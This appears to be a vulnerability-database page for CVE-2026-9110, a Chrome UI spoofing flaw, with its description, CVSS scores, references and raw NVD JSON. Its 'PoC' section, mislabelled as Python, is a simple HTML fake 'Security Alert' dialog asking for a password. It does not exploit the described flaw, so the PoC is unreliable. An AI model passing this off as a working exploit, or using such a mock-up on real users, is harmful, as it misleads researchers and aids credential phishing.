CVE-2026-9110

Description

Inappropriate implementation in UI in Google Chrome on Windows prior to 148.0.7778.179 allowed a remote attacker who had compromised the renderer process to perform UI spoofing via a crafted HTML page. (Chromium security severity: Critical)

CVSS Details

CVSS Score

4.2

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Google Chrome on Windows < 148.0.7778.179

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-9110: UI Spoofing simulation
This HTML code demonstrates how an attacker might attempt to spoof a browser UI element.
Note: Exploitation requires a renderer compromise as per the CVE description.
-->
<!DOCTYPE html>
<html>
<head>
<style>
  /* Simulate a Chrome-like dialog overlay */
  #spoof-dialog {
    position: fixed;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    width: 400px;
    background: #ffffff;
    border: 1px solid #ccc;
    box-shadow: 0 4px 23px 5px rgba(0, 0, 0, 0.2);
    border-radius: 8px;
    font-family: Arial, sans-serif;
    z-index: 9999;
    padding: 20px;
    text-align: center;
  }
  .spoof-title {
    font-size: 18px;
    font-weight: bold;
    margin-bottom: 10px;
  }
  .spoof-btn {
    background-color: #1a73e8;
    color: white;
    border: none;
    padding: 8px 20px;
    border-radius: 4px;
    cursor: pointer;
  }
</style>
</head>
<body>
  <div id="spoof-dialog">
    <div class="spoof-title">Security Alert</div>
    <p>Your session has expired. Please re-enter your password.</p>
    <input type="password" placeholder="Password" style="width: 90%; padding: 8px; margin-bottom: 10px;">
    <br>
    <button class="spoof-btn">Reconnect</button>
  </div>
  <p>Normal page content underneath...</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9110
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9110
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9110/
[4] VulDB https://vuldb.com/cve/CVE-2026-9110
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0841193308.html
[6] https://issues.chromium.org/issues/503551154

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9110", "sourceIdentifier": "[email protected]", "published": "2026-05-20T20:16:41.683", "lastModified": "2026-05-20T20:16:41.683", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in UI in Google Chrome on Windows prior to 148.0.7778.179 allowed a remote attacker who had compromised the renderer process to perform UI spoofing via a crafted HTML page. (Chromium security severity: Critical)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:L", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-451"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0841193308.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/503551154", "source": "[email protected]"}]}}